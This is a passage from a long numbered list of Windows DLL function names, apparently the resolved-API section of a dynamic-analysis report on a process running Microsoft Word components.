  2431. "advapi32.dll.RegQueryInfoKeyW",
  2432. "advapi32.dll.RegEnumKeyExW",
  2433. "advapi32.dll.RegEnumValueW",
  2434. "kernel32.dll.QueryActCtxW",
  2435. "shlwapi.dll.UrlIsW",
  2436. "kernel32.dll.FlsAlloc",
  2437. "kernel32.dll.FlsGetValue",
  2438. "kernel32.dll.FlsSetValue",
  2439. "kernel32.dll.FlsFree",
  2440. "kernel32.dll.InitializeCriticalSectionAndSpinCount",
  2441. "kernel32.dll.IsProcessorFeaturePresent",
  2442. "msvcrt.dll._set_error_mode",
  2443. "msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z",
  2444. "kernel32.dll.FindActCtxSectionStringW",
  2445. "kernel32.dll.GetSystemWindowsDirectoryW",
  2446. "mscoree.dll.GetProcessExecutableHeap",
  2447. "mscorwks.dll.DllGetClassObjectInternal",
  2448. "mscorwks.dll.GetCLRFunction",
  2449. "advapi32.dll.RegisterTraceGuidsW",
  2450. "advapi32.dll.GetTraceLoggerHandle",
  2451. "advapi32.dll.GetTraceEnableLevel",
  2452. "advapi32.dll.GetTraceEnableFlags",
  2453. "advapi32.dll.TraceEvent",
  2454. "mscoree.dll.IEE",
  2455. "mscorwks.dll.IEE",
  2456. "mscoree.dll.GetStartupFlags",
  2457. "mscoree.dll.GetHostConfigurationFile",
  2458. "mscoree.dll.GetCORSystemDirectory",
  2459. "ntdll.dll.RtlUnwind",
  2460. "kernel32.dll.IsWow64Process",
  2461. "advapi32.dll.AllocateAndInitializeSid",
  2462. "advapi32.dll.OpenProcessToken",
  2463. "advapi32.dll.GetTokenInformation",
  2464. "advapi32.dll.InitializeAcl",
  2465. "advapi32.dll.AddAccessAllowedAce",
  2466. "advapi32.dll.FreeSid",
  2467. "kernel32.dll.SetThreadStackGuarantee",
  2468. "kernel32.dll.AddVectoredContinueHandler",
  2469. "kernel32.dll.RemoveVectoredContinueHandler",
  2470. "advapi32.dll.ConvertSidToStringSidW",
  2471. "kernel32.dll.FlushProcessWriteBuffers",
  2472. "kernel32.dll.GetWriteWatch",
  2473. "kernel32.dll.ResetWriteWatch",
  2474. "kernel32.dll.CreateMemoryResourceNotification",
  2475. "kernel32.dll.QueryMemoryResourceNotification",
  2476. "mscoree.dll._CorExeMain",
  2477. "mscoree.dll._CorImageUnloading",
  2478. "mscoree.dll._CorValidateImage",
  2479. "ole32.dll.CoGetContextToken",
  2480. "oleaut32.dll.#149",
  2481. "kernel32.dll.GetUserDefaultUILanguage",
  2482. "kernel32.dll.GetVersionExW",
  2483. "kernel32.dll.GetFullPathNameW",
  2484. "kernel32.dll.SetErrorMode",
  2485. "kernel32.dll.GetFileAttributesExW",
  2486. "version.dll.GetFileVersionInfoSizeW",
  2487. "version.dll.GetFileVersionInfoW",
  2488. "version.dll.VerQueryValueW",
  2489. "kernel32.dll.lstrlen",
  2490. "kernel32.dll.lstrlenW",
  2491. "mscoree.dll.ND_RI2",
  2492. "kernel32.dll.lstrcpy",
  2493. "kernel32.dll.lstrcpyW",
  2494. "version.dll.VerLanguageNameW",
  2495. "kernel32.dll.CloseHandle",
  2496. "kernel32.dll.GetCurrentProcessId",
  2497. "advapi32.dll.LookupPrivilegeValueW",
  2498. "kernel32.dll.GetCurrentProcess",
  2499. "advapi32.dll.AdjustTokenPrivileges",
  2500. "kernel32.dll.OpenProcess",
  2501. "psapi.dll.EnumProcessModules",
  2502. "psapi.dll.GetModuleInformation",
  2503. "psapi.dll.GetModuleBaseNameW",
  2504. "psapi.dll.GetModuleFileNameExW",
  2505. "kernel32.dll.GetExitCodeProcess",
  2506. "ntdll.dll.NtQuerySystemInformation",
  2507. "user32.dll.EnumWindows",
  2508. "user32.dll.GetWindowThreadProcessId",
  2509. "user32.dll.GetWindow",
  2510. "user32.dll.IsWindowVisible",
  2511. "kernel32.dll.WerSetFlags",
  2512. "kernel32.dll.SetThreadPreferredUILanguages",
  2513. "kernel32.dll.GetThreadPreferredUILanguages",
  2514. "kernel32.dll.GetUserDefaultLocaleName",
  2515. "kernel32.dll.GetEnvironmentVariableW",
  2516. "advapi32.dll.CryptAcquireContextA",
  2517. "advapi32.dll.CryptReleaseContext",
  2518. "advapi32.dll.CryptCreateHash",
  2519. "advapi32.dll.CryptDestroyHash",
  2520. "advapi32.dll.CryptHashData",
  2521. "advapi32.dll.CryptGetHashParam",
  2522. "advapi32.dll.CryptImportKey",
  2523. "advapi32.dll.CryptExportKey",
  2524. "advapi32.dll.CryptGenKey",
  2525. "advapi32.dll.CryptGetKeyParam",
  2526. "advapi32.dll.CryptDestroyKey",
  2527. "advapi32.dll.CryptVerifySignatureA",
  2528. "advapi32.dll.CryptSignHashA",
  2529. "advapi32.dll.CryptGetProvParam",
  2530. "advapi32.dll.CryptGetUserKey",
  2531. "advapi32.dll.CryptEnumProvidersA",
  2532. "cryptsp.dll.CryptAcquireContextA",
  2533. "cryptsp.dll.CryptImportKey",
  2534. "cryptsp.dll.CryptExportKey",
  2535. "cryptsp.dll.CryptDestroyKey",
  2536. "mscoree.dll.GetTokenForVTableEntry",
  2537. "mscoree.dll.SetTargetForVTableEntry",
  2538. "mscoree.dll.GetTargetForVTableEntry",
  2539. "culture.dll.ConvertLangIdToCultureName",
  2540. "ole32.dll.CoCreateGuid",
  2541. "kernel32.dll.CreateFileW",
  2542. "kernel32.dll.GetConsoleScreenBufferInfo",
  2543. "kernel32.dll.LocalFree",
  2544. "kernel32.dll.LocalAlloc",
  2545. "mscoree.dll.ND_RI4",
  2546. "advapi32.dll.DuplicateTokenEx",
  2547. "advapi32.dll.CheckTokenMembership",
  2548. "kernel32.dll.GetConsoleTitleW",
  2549. "kernel32.dll.SetConsoleTitleW",
  2550. "kernel32.dll.SetConsoleCtrlHandler",
  2551. "kernel32.dll.CreateEventW",
  2552. "ntdll.dll.WinSqmIsOptedIn",
  2553. "kernel32.dll.ExpandEnvironmentStringsW",
  2554. "shfolder.dll.SHGetFolderPathW",
  2555. "kernel32.dll.SetEnvironmentVariableW",
  2556. "kernel32.dll.GetACP",
  2557. "kernel32.dll.UnmapViewOfFile",
  2558. "kernel32.dll.GetFileType",
  2559. "kernel32.dll.ReadFile",
  2560. "kernel32.dll.GetSystemInfo",
  2561. "kernel32.dll.VirtualQuery",
  2562. "kernel32.dll.SwitchToThread",
  2563. "kernel32.dll.GlobalMemoryStatusEx",
  2564. "secur32.dll.GetUserNameExW",
  2565. "advapi32.dll.GetUserNameW",
  2566. "kernel32.dll.ReleaseMutex",
  2567. "advapi32.dll.RegisterEventSourceW",
  2568. "advapi32.dll.DeregisterEventSource",
  2569. "advapi32.dll.ReportEventW",
  2570. "kernel32.dll.GetLogicalDrives",
  2571. "kernel32.dll.GetDriveTypeW",
  2572. "kernel32.dll.GetVolumeInformationW",
  2573. "kernel32.dll.GetCurrentDirectoryW",
  2574. "kernel32.dll.GetLastError",
  2575. "mscorjit.dll.getJit",
  2576. "kernel32.dll.GetStdHandle",
  2577. "kernel32.dll.GetConsoleMode",
  2578. "kernel32.dll.SetEvent",
  2579. "kernel32.dll.SetThreadUILanguage",
  2580. "kernel32.dll.FindFirstFileW",
  2581. "kernel32.dll.FindClose",
  2582. "kernel32.dll.FindNextFileW",
  2583. "shell32.dll.SHGetFileInfo",
  2584. "shell32.dll.CommandLineToArgvW",
  2585. "kernel32.dll.RtlMoveMemory",
  2586. "kernel32.dll.CreateProcessW",
  2587. "mscoree.dll.CorExitProcess",
  2588. "mscorwks.dll.CorExitProcess",
  2589. "mscorwks.dll._CorDllMain",
  2590. "kernel32.dll.CreateActCtxW",
  2591. "kernel32.dll.AddRefActCtx",
  2592. "kernel32.dll.ReleaseActCtx",
  2593. "kernel32.dll.ActivateActCtx",
  2594. "kernel32.dll.DeactivateActCtx",
  2595. "kernel32.dll.GetCurrentActCtx",
  2596. "netutils.dll.NetApiBufferFree",
  2597. "kernelbase.dll.InitializeCriticalSectionAndSpinCount",
  2598. "kernel32.dll.HeapSetInformation",
  2599. "kernel32.dll.RegisterApplicationRestart",
  2600. "mshtml.dll.RunHTMLApplication",
  2601. "dwmapi.dll.DwmIsCompositionEnabled",
  2602. "kernel32.dll.SortGetHandle",
  2603. "kernel32.dll.SortCloseHandle",
  2604. "kernel32.dll.SetFileInformationByHandle",
  2605. "oleaut32.dll.#7",
  2606. "advapi32.dll.EventActivityIdControl",
  2607. "advapi32.dll.EventWriteTransfer",
  2608. "kernel32.dll.GetModuleHandleW",
  2609. "ws2_32.dll.accept",
  2610. "ws2_32.dll.bind",
  2611. "ws2_32.dll.closesocket",
  2612. "ws2_32.dll.connect",
  2613. "ws2_32.dll.getpeername",
  2614. "ws2_32.dll.getsockname",
  2615. "ws2_32.dll.getsockopt",
  2616. "ws2_32.dll.ntohl",
  2617. "ws2_32.dll.htonl",
  2618. "ws2_32.dll.htons",
  2619. "ws2_32.dll.inet_addr",
  2620. "ws2_32.dll.inet_ntoa",
  2621. "ws2_32.dll.ioctlsocket",
  2622. "ws2_32.dll.listen",
  2623. "ws2_32.dll.ntohs",
  2624. "ws2_32.dll.recv",
  2625. "ws2_32.dll.recvfrom",
  2626. "ws2_32.dll.select",
  2627. "ws2_32.dll.send",
  2628. "ws2_32.dll.sendto",
  2629. "ws2_32.dll.setsockopt",
  2630. "ws2_32.dll.shutdown",
  2631. "ws2_32.dll.socket",
  2632. "ws2_32.dll.gethostbyname",
  2633. "ws2_32.dll.gethostname",
  2634. "ws2_32.dll.WSAIoctl",
  2635. "ws2_32.dll.WSAGetLastError",
  2636. "ws2_32.dll.WSASetLastError",
  2637. "ws2_32.dll.WSAStartup",
  2638. "ws2_32.dll.WSACleanup",
  2639. "ws2_32.dll.__WSAFDIsSet",
  2640. "ws2_32.dll.getaddrinfo",
  2641. "ws2_32.dll.freeaddrinfo",
  2642. "ws2_32.dll.getnameinfo",
  2643. "ws2_32.dll.WSALookupServiceBeginW",
  2644. "ws2_32.dll.WSALookupServiceNextW",
  2645. "ws2_32.dll.WSALookupServiceEnd",
  2646. "ws2_32.dll.WSANSPIoctl",
  2647. "ws2_32.dll.WSAStringToAddressA",
  2648. "ws2_32.dll.WSAStringToAddressW",
  2649. "ws2_32.dll.WSAAddressToStringA",
  2650. "dnsapi.dll.DnsGetProxyInformation",
  2651. "dnsapi.dll.DnsFreeProxyName",
  2652. "iphlpapi.dll.GetIpForwardTable2",
  2653. "iphlpapi.dll.FreeMibTable",
  2654. "iphlpapi.dll.GetIfEntry2",
  2655. "iphlpapi.dll.ConvertInterfaceGuidToLuid",
  2656. "iphlpapi.dll.ResolveIpNetEntry2",
  2657. "iphlpapi.dll.GetIpNetEntry2",
  2658. "shlwapi.dll.#260",
  2659. "rasapi32.dll.RasConnectionNotificationW",
  2660. "rasapi32.dll.RasEnumEntriesW",
  2661. "rtutils.dll.TraceRegisterExA",
  2662. "rtutils.dll.TracePrintfExA",
  2663. "shlwapi.dll.PathCanonicalizeW",
  2664. "shlwapi.dll.PathFindFileNameW",
  2665. "sensapi.dll.IsNetworkAlive",
  2666. "rpcrt4.dll.RpcBindingFromStringBindingW",
  2667. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  2668. "rpcrt4.dll.NdrClientCall2",
  2669. "sechost.dll.OpenServiceA",
  2670. "sechost.dll.NotifyServiceStatusChangeA",
  2671. "nlaapi.dll.NSPStartup",
  2672. "iphlpapi.dll.GetAdapterIndex",
  2673. "rasadhlp.dll.WSAttemptAutodialAddr",
  2674. "rasadhlp.dll.WSAttemptAutodialName",
  2675. "rasadhlp.dll.WSNoteSuccessfulHostentLookup",
  2676. "rpcrt4.dll.RpcStringBindingComposeW",
  2677. "rpcrt4.dll.RpcStringFreeW",
  2678. "rpcrt4.dll.RpcBindingFree",
  2679. "oleaut32.dll.#8",
  2680. "urlmon.dll.CoInternetCreateSecurityManager",
  2681. "urlmon.dll.CoInternetCreateZoneManager",
  2682. "urlmon.dll.CoInternetIsFeatureEnabledForUrl",
  2683. "oleacc.dll.LresultFromObject",
  2684. "user32.dll.GetGUIThreadInfo",
  2685. "user32.dll.GetCursorInfo",
  2686. "user32.dll.GetWindowInfo",
  2687. "user32.dll.GetTitleBarInfo",
  2688. "user32.dll.GetScrollBarInfo",
  2689. "user32.dll.GetComboBoxInfo",
  2690. "user32.dll.GetAncestor",
  2691. "user32.dll.RealChildWindowFromPoint",
  2692. "user32.dll.RealGetWindowClassW",
  2693. "user32.dll.GetAltTabInfoW",
  2694. "user32.dll.GetListBoxInfo",
  2695. "user32.dll.GetMenuBarInfo",
  2696. "user32.dll.SendInput",
  2697. "user32.dll.BlockInput",
  2698. "user32.dll.LogicalToPhysicalPoint",
  2699. "user32.dll.PhysicalToLogicalPoint",
  2700. "user32.dll.WindowFromPhysicalPoint",
  2701. "user32.dll.GetPhysicalCursorPos",
  2702. "kernel32.dll.GetModuleFileNameW",
  2703. "kernel32.dll.VirtualAllocEx",
  2704. "kernel32.dll.VirtualFreeEx",
  2705. "ntdll.dll.NtQueryInformationProcess",
  2706. "ntdll.dll.NtAllocateVirtualMemory",
  2707. "ntdll.dll.NtFreeVirtualMemory",
  2708. "sechost.dll.LookupAccountNameLocalW",
  2709. "advapi32.dll.LookupAccountSidW",
  2710. "sechost.dll.LookupAccountSidLocalW",
  2711. "ole32.dll.NdrOleInitializeExtension",
  2712. "ole32.dll.CoGetClassObject",
  2713. "ole32.dll.CoGetMarshalSizeMax",
  2714. "ole32.dll.CoMarshalInterface",
  2715. "ole32.dll.CoUnmarshalInterface",
  2716. "ole32.dll.StringFromIID",
  2717. "ole32.dll.CoGetPSClsid",
  2718. "ole32.dll.CoReleaseMarshalData",
  2719. "ole32.dll.DcomChannelSetHResult",
  2720. "rpcrtremote.dll.I_RpcExtInitializeExtensionPoint",
  2721. "oleaut32.dll.DllGetClassObject",
  2722. "oleaut32.dll.DllCanUnloadNow",
  2723. "sxs.dll.SxsOleAut32MapIIDToProxyStubCLSID",
  2724. "oleacc.dll.ObjectFromLresult",
  2725. "msimtf.dll.MsimtfIsWindowFiltered",
  2726. "oleaut32.dll.VariantClear",
  2727. "ieframe.dll.#234",
  2728. "wininet.dll.InternetUnlockRequestFile",
  2729. "ole32.dll.CLSIDFromProgIDEx",
  2730. "sxs.dll.SxsOleAut32RedirectTypeLibrary",
  2731. "advapi32.dll.RegOpenKeyW",
  2732. "sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid",
  2733. "shell32.dll.ShellExecuteExW",
  2734. "ole32.dll.OleInitialize",
  2735. "propsys.dll.PSPropertyBag_WriteDWORD",
  2736. "propsys.dll.PSPropertyBag_ReadDWORD",
  2737. "propsys.dll.PSPropertyBag_ReadGUID",
  2738. "urlmon.dll.CreateUri",
  2739. "comctl32.dll.#328",
  2740. "comctl32.dll.#334",
  2741. "propsys.dll.PSPropertyBag_ReadStrAlloc",
  2742. "propsys.dll.#430",
  2743. "advapi32.dll.RegGetValueW",
  2744. "propsys.dll.InitPropVariantFromStringAsVector",
  2745. "propsys.dll.PSCoerceToCanonicalValue",
  2746. "gdi32.dll.GetLayout",
  2747. "gdi32.dll.GdiRealizationInfo",
  2748. "gdi32.dll.FontIsLinked",
  2749. "gdi32.dll.GetTextFaceAliasW",
  2750. "gdi32.dll.GetFontAssocStatus",
  2751. "advapi32.dll.RegQueryValueExA",
  2752. "gdi32.dll.GdiIsMetaPrintDC",
  2753. "uxtheme.dll.IsAppThemed",
  2754. "uxtheme.dll.#61",
  2755. "uxtheme.dll.DrawThemeBackground",
  2756. "oleaut32.dll.#201",
  2757. "uxtheme.dll.CloseThemeData",
  2758. "comctl32.dll.#333",
  2759. "kernel32.dll.GetConsoleWindow",
  2760. "user32.dll.ShowWindow",
  2761. "kernel32.dll.GetFileSize",
  2762. "rasapi32.dll.RasEnumConnectionsW",
  2763. "sechost.dll.OpenSCManagerW",
  2764. "sechost.dll.OpenServiceW",
  2765. "sechost.dll.QueryServiceStatus",
  2766. "sechost.dll.CloseServiceHandle",
  2767. "ws2_32.dll.WSASocketW",
  2768. "ws2_32.dll.WSAEventSelect",
  2769. "kernel32.dll.GetComputerNameW",
  2770. "advapi32.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW",
  2771. "kernel32.dll.CreateFileMappingW",
  2772. "kernel32.dll.MapViewOfFile",
  2773. "advapi32.dll.CreateWellKnownSid",
  2774. "kernel32.dll.CreateMutexW",
  2775. "kernel32.dll.WaitForSingleObject",
  2776. "kernel32.dll.OpenMutexW",
  2777. "kernel32.dll.GetProcessTimes",
  2778. "kernel32.dll.FormatMessageW",
  2779. "advapi32.dll.RegOpenCurrentUser",
  2780. "advapi32.dll.RegNotifyChangeKeyValue",
  2781. "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
  2782. "kernel32.dll.ResetEvent",
  2783. "iphlpapi.dll.GetNetworkParams",
  2784. "dnsapi.dll.DnsQueryConfig",
  2785. "iphlpapi.dll.GetAdaptersAddresses",
  2786. "iphlpapi.dll.GetIpInterfaceEntry",
  2787. "iphlpapi.dll.GetBestInterfaceEx",
  2788. "ws2_32.dll.WSAConnect",
  2789. "kernel32.dll.WriteFile",
  2790. "shell32.dll.ShellExecuteEx",
  2791. "propsys.dll.PSPropertyBag_ReadBSTR",
  2792. "advapi32.dll.SaferiIsExecutableFileType",
  2793. "advapi32.dll.CommandLineFromMsiDescriptor",
  2794. "msiltcfg.dll.MsiSetInternalUI",
  2795. "msiltcfg.dll.MsiConfigureProductExW",
  2796. "msiltcfg.dll.MsiProvideComponentFromDescriptorW",
  2797. "msiltcfg.dll.MsiDecomposeDescriptorW",
  2798. "msiltcfg.dll.MsiGetProductInfoW",
  2799. "msiltcfg.dll.MsiAdvertiseScriptW",
  2800. "msiltcfg.dll.MsiQueryProductStateW",
  2801. "msiltcfg.dll.MsiIsProductElevatedW",
  2802. "msiltcfg.dll.MsiReinstallProductW",
  2803. "user32.dll.MsgWaitForMultipleObjects",
  2804. "user32.dll.PeekMessageW",
  2805. "user32.dll.TranslateMessage",
  2806. "user32.dll.DispatchMessageW",
  2807. "user32.dll.GetProcessWindowStation",
  2808. "user32.dll.CloseWindowStation",
  2809. "user32.dll.GetUserObjectInformationW",
  2810. "msi.dll.MsiDecomposeDescriptorW",
  2811. "msi.dll.MsiGetComponentPathW",
  2812. "msi.dll.MsiGetProductInfoW",
  2813. "msi.dll.MsiProvideComponentFromDescriptorW",
  2814. "msi.dll.MsiQueryFeatureStateW",
  2815. "msi.dll.MsiQueryFeatureStateFromDescriptorW",
  2816. "msi.dll.MsiSetInternalUI",
  2817. "msi.dll.MsiAdvertiseScriptW",
  2818. "msi.dll.MsiQueryProductStateW",
  2819. "msi.dll.MsiIsProductElevatedW",
  2820. "msi.dll.MsiReinstallProductW",
  2821. "msi.dll.MsiConfigureProductExW",
  2822. "kernel32.dll.GetNativeSystemInfo",
  2823. "kernel32.dll.GetSystemWow64DirectoryW",
  2824. "sfc.dll.SfcIsKeyProtected",
  2825. "psapi.dll.EnumProcesses",
  2826. "kernel32.dll.DuplicateHandle",
  2827. "user32.dll.SystemParametersInfoW",
  2828. "wwlib.dll.FMain",
  2829. "wwlib.dll.wdCommandDispatch",
  2830. "wwlib.dll.wdGetApplicationObject",
  2831. "advapi32.dll.RegOpenKeyExA",
  2832. "user32.dll.GetDC",
  2833. "gdi32.dll.GetDeviceCaps",
  2834. "user32.dll.ReleaseDC",
  2835. "advapi32.dll.EventRegister",
  2836. "mso.dll.#1868",
  2837. "mso.dll.#7148",
  2838. "mso.dll.#735",
  2839. "mso.dll.#2225",
  2840. "user32.dll.RegisterWindowMessageA",
  2841. "mso.dll.#596",
  2842. "mso.dll.#935",
  2843. "mso.dll.#1918",
  2844. "mso.dll.#2288",
  2845. "user32.dll.GetAsyncKeyState",
  2846. "advapi32.dll.RegCreateKeyExA",
  2847. "advapi32.dll.RegSetValueExA",
  2848. "advapi32.dll.EventWrite",
  2849. "advapi32.dll.EventUnregister",
  2850. "d2d1.dll.#1",
  2851. "kernel32.dll.WerRegisterMemoryBlock",
  2852. "user32.dll.RegisterClassExW",
  2853. "user32.dll.RegisterWindowMessageW",
  2854. "user32.dll.CreateWindowExW",
  2855. "user32.dll.GetWindowLongW",
  2856. "user32.dll.DefWindowProcW",
  2857. "user32.dll.SetWindowLongW",
  2858. "wtsapi32.dll.WTSRegisterSessionNotification",
  2859. "user32.dll.IsWindow",
  2860. "winsta.dll.WinStationRegisterConsoleNotification",
  2861. "rpcrt4.dll.RpcAsyncInitializeHandle",
  2862. "rpcrt4.dll.NdrAsyncClientCall",
  2863. "user32.dll.GetSystemMetrics",
  2864. "dxgi.dll.CreateDXGIFactory1",
  2865. "gdi32.dll.D3DKMTOpenAdapterFromGdiDisplayName",
  2866. "gdi32.dll.D3DKMTCloseAdapter",
  2867. "gdi32.dll.D3DKMTQueryAdapterInfo",
  2868. "gdi32.dll.D3DKMTOpenAdapterFromDeviceName",
  2869. "setupapi.dll.SetupDiGetClassDevsW",
  2870. "setupapi.dll.SetupDiEnumDeviceInterfaces",
  2871. "setupapi.dll.SetupDiGetDeviceInterfaceDetailW",
  2872. "setupapi.dll.SetupDiDestroyDeviceInfoList",
  2873. "setupapi.dll.SetupDiGetDevicePropertyW",
  2874. "wintrust.dll.WinVerifyTrust",
  2875. "user32.dll.SystemParametersInfoA",
  2876. "user32.dll.BeginPaint",
  2877. "user32.dll.ValidateRect",
  2878. "user32.dll.GetForegroundWindow",
  2879. "mso.dll.#9880",
  2880. "mso.dll.#759",
  2881. "msi.dll.#137",
  2882. "msi.dll.#37",
  2883. "msi.dll.#113",
  2884. "msi.dll.#193",
  2885. "msi.dll.#173",
  2886. "advapi32.dll.RegCreateKeyExW",
  2887. "advapi32.dll.RegSetValueExW",
  2888. "user32.dll.GetKeyboardLayoutList",
  2889. "mso.dll.#542",
  2890. "mso.dll.#2131",
  2891. "mso.dll.#4727",
  2892. "mso.dll.#127",
  2893. "mso.dll.#1091",
  2894. "mso.dll.#1213",
  2895. "mso.dll.#1980",
  2896. "mso.dll.#3144",
  2897. "mso.dll.#4474",
  2898. "mso.dll.#6521",
  2899. "mso.dll.#2817",
  2900. "mso.dll.#1594",
  2901. "mso.dll.#3184",
  2902. "mso.dll.#8395",
  2903. "mso.dll.#912",
  2904. "mso.dll.#8483",
  2905. "mso.dll.#165",
  2906. "user32.dll.GetKeyboardLayout",
  2907. "mso.dll.#8879",
  2908. "mso.dll.#9462",
  2909. "mso.dll.#6730",
  2910. "mso.dll.#5436",
  2911. "mso.dll.#7927",
  2912. "mso.dll.#5372",
  2913. "mso.dll.#7964",
  2914. "mso.dll.#6786",
  2915. "mso.dll.#6985",
  2916. "user32.dll.GetDoubleClickTime",
  2917. "mso.dll.#6948",
  2918. "mso.dll.#1527",
  2919. "mso.dll.#7497",
  2920. "mso.dll.#5916",
  2921. "advapi32.dll.GetLengthSid",
  2922. "advapi32.dll.CopySid",
  2923. "advapi32.dll.IsValidSid",
  2924. "advapi32.dll.ConvertSidToStringSidA",
  2925. "mso.dll.#4606",
  2926. "mso.dll.#5893",
  2927. "mso.dll.#1822",
  2928. "user32.dll.MonitorFromRect",
  2929. "user32.dll.GetMonitorInfoW",
  2930. "mso.dll.#1286",
  2931. "user32.dll.RegisterClassW",
  2932. "user32.dll.LoadCursorA",
  2933. "user32.dll.GetSysColor",
  2934. "gdi32.dll.CreateSolidBrush",
  2935. "gdi32.dll.CreateDIBSection",
  2936. "gdi32.dll.GetObjectW",
  2937. "user32.dll.GetMonitorInfoA",
  2938. "imm32.dll.ImmDisableIME",
  2939. "user32.dll.IsWindowEnabled",
  2940. "user32.dll.GetWindowLongA",
  2941. "user32.dll.SetWindowLongA",
  2942. "gdi32.dll.CreateRectRgn",
  2943. "user32.dll.SetWindowRgn",
  2944. "user32.dll.LoadImageA",
  2945. "user32.dll.SendMessageW",
  2946. "user32.dll.InvalidateRect",
  2947. "user32.dll.GetWindowRect",
  2948. "user32.dll.IsWinEventHookInstalled",
  2949. "user32.dll.NotifyWinEvent",
  2950. "user32.dll.UpdateWindow",
  2951. "user32.dll.IsRectEmpty",
  2952. "gdi32.dll.CreateCompatibleDC",
  2953. "gdi32.dll.SelectObject",
  2954. "user32.dll.SetRect",
  2955. "gdi32.dll.GetClipBox",
  2956. "gdi32.dll.SelectClipRgn",
  2957. "gdi32.dll.IntersectClipRect",
  2958. "user32.dll.OffsetRect",
  2959. "user32.dll.IntersectRect",
  2960. "gdi32.dll.SetDIBitsToDevice",
  2961. "gdi32.dll.DeleteDC",
  2962. "user32.dll.EndPaint",
  2963. "mso.dll.#1336",
  2964. "user32.dll.LoadIconW",
  2965. "user32.dll.LoadImageW",
  2966. "user32.dll.LoadCursorW",
  2967. "user32.dll.SetCursor",
  2968. "user32.dll.RegisterClipboardFormatA",
  2969. "mso.dll.#7680",
  2970. "msi.dll.#203",
  2971. "mso.dll.#5328",
  2972. "msptls.dll.?LsGetRubyLsimethods@Ptls6@@YGJPAUlsimethods@1@@Z",
  2973. "msptls.dll.?LsGetTatenakayokoLsimethods@Ptls6@@YGJPAUlsimethods@1@@Z",
  2974. "msptls.dll.?LsGetWarichuLsimethods@Ptls6@@YGJPAUlsimethods@1@@Z",
  2975. "msptls.dll.?LsGetReverseLsimethods@Ptls6@@YGJPAUlsimethods@1@@Z",
  2976. "msptls.dll.?LsGetVRubyLsimethods@Ptls6@@YGJPAUlsimethods@1@@Z",
  2977. "msptls.dll.?LsGetMathLsimethods@Ptls6@@YGJPAUlsimethods@1@@Z",
  2978. "msptls.dll.?LsCreateContext@Ptls6@@YGJPBUlscontextinfo@1@PAPAUlscontext@1@@Z",
  2979. "mso.dll.#4636",
  2980. "mso.dll.#5251",
  2981. "mso.dll.#5467",
  2982. "msptls.dll.?LsGetPenaltyModule@Ptls6@@YGJPAUlscontext@1@PAPAUtspenaltymodule@1@@Z",
  2983. "msptls.dll.?FsCreateContext@Ptls6@@YGJPBUfscontextinfo@1@PAPAUfscontext@1@@Z",
  2984. "mso.dll.#2026",
  2985. "mso.dll.#3392",
  2986. "mso.dll.#1666",
  2987. "mso.dll.#8534",
  2988. "mso.dll.#6845",
  2989. "mso.dll.#5135",
  2990. "mso.dll.#8427",
  2991. "mso.dll.#5589",
  2992. "mso.dll.#7165",
  2993. "mso.dll.#2878",
  2994. "mso.dll.#6137",
  2995. "mso.dll.#9019",
  2996. "mso.dll.#690",
  2997. "mso.dll.#6359",
  2998. "mso.dll.#2975",
  2999. "mso.dll.#7936",
  3000. "mso.dll.#7345",
  3001. "mso.dll.#1305",
  3002. "mso.dll.#2243",
  3003. "mso.dll.#3931",
  3004. "mso.dll.#7949",
  3005. "uxtheme.dll.IsThemeActive",
  3006. "uxtheme.dll.GetThemeAppProperties",
  3007. "gdi32.dll.CreateFontIndirectA",
  3008. "gdi32.dll.GetTextMetricsA",
  3009. "gdi32.dll.GetTextFaceW",
  3010. "gdi32.dll.GetOutlineTextMetricsW",
  3011. "mso.dll.#7139",
  3012. "mso.dll.#2545",
  3013. "mso.dll.#5239",
  3014. "mso.dll.#6103",
  3015. "mso.dll.#5573",
  3016. "mso.dll.#2727",
  3017. "gdi32.dll.CreateFontIndirectW",
  3018. "mso.dll.#5974",
  3019. "mso.dll.#7170",
  3020. "gdi32.dll.GetCharWidth32W",
  3021. "mso.dll.#7125",
  3022. "mso.dll.#2594",
  3023. "mso.dll.#415",
  3024. "mso.dll.#8595",
  3025. "mso.dll.#49",
  3026. "mso.dll.#534",
  3027. "mso.dll.#8275",
  3028. "mso.dll.#7785",
  3029. "mso.dll.#9131",
  3030. "mso.dll.#4906",
  3031. "mso.dll.#4113",
  3032. "mso.dll.#4631",
  3033. "mso.dll.#9306",
  3034. "user32.dll.FindWindowW",
  3035. "mso.dll.#1969",
  3036. "mso.dll.#8651",
  3037. "mso.dll.#4134",
  3038. "mso.dll.#9010",
  3039. "gdi32.dll.GetTextExtentPoint32W",
  3040. "gdi32.dll.DeleteObject",
  3041. "gdi32.dll.SetTextColor",
  3042. "gdi32.dll.SetBkMode",
  3043. "gdi32.dll.GetObjectType",
  3044. "gdi32.dll.GetTextMetricsW",
  3045. "gdi32.dll.ExtTextOutW",
  3046. "mso.dll.#7864",
  3047. "mso.dll.#9177",
  3048. "mso.dll.#8223",
  3049. "mso.dll.#6428",
  3050. "mso.dll.#4477",
  3051. "mso.dll.#741",
  3052. "d3d10_1.dll.D3D10CreateDevice1",
  3053. "d3d11.dll.D3D11CreateDevice",
  3054. "d3d10warp.dll.D3DKMTOpenAdapterFromGdiDisplayName",
  3055. "d3d10warp.dll.D3DKMTOpenAdapterFromDeviceName",
  3056. "d3d10warp.dll.D3DKMTGetDisplayModeList",
  3057. "d3d10warp.dll.D3DKMTSetVidPnSourceOwner",
  3058. "d3d10warp.dll.D3DKMTSetDisplayMode",
  3059. "d3d10warp.dll.D3DKMTCloseAdapter",
  3060. "d3d10warp.dll.D3DKMTSetGammaRamp",
  3061. "d3d10warp.dll.D3DKMTGetDeviceState",
  3062. "d3d10warp.dll.D3DKMTQueryAdapterInfo",
  3063. "d3d10warp.dll.D3DKMTWaitForVerticalBlankEvent",
  3064. "gdi32.dll.D3DKMTCreateDCFromMemory",
  3065. "gdi32.dll.D3DKMTDestroyDCFromMemory",
  3066. "gdi32.dll.D3DKMTCheckVidPnExclusiveOwnership",
  3067. "gdi32.dll.D3DKMTCheckMonitorPowerState",
  3068. "gdi32.dll.D3DKMTCheckSharedResourceAccess",
  3069. "d3d10_1core.dll.D3D10CoreCreateDevice1",
  3070. "d3d10_1core.dll.D3D10CoreGetSupportedVersions",
  3071. "d3d10_1core.dll.D3D10CoreGetVersion",
  3072. "d3d10warp.dll.D3DKMTCreateAllocation",
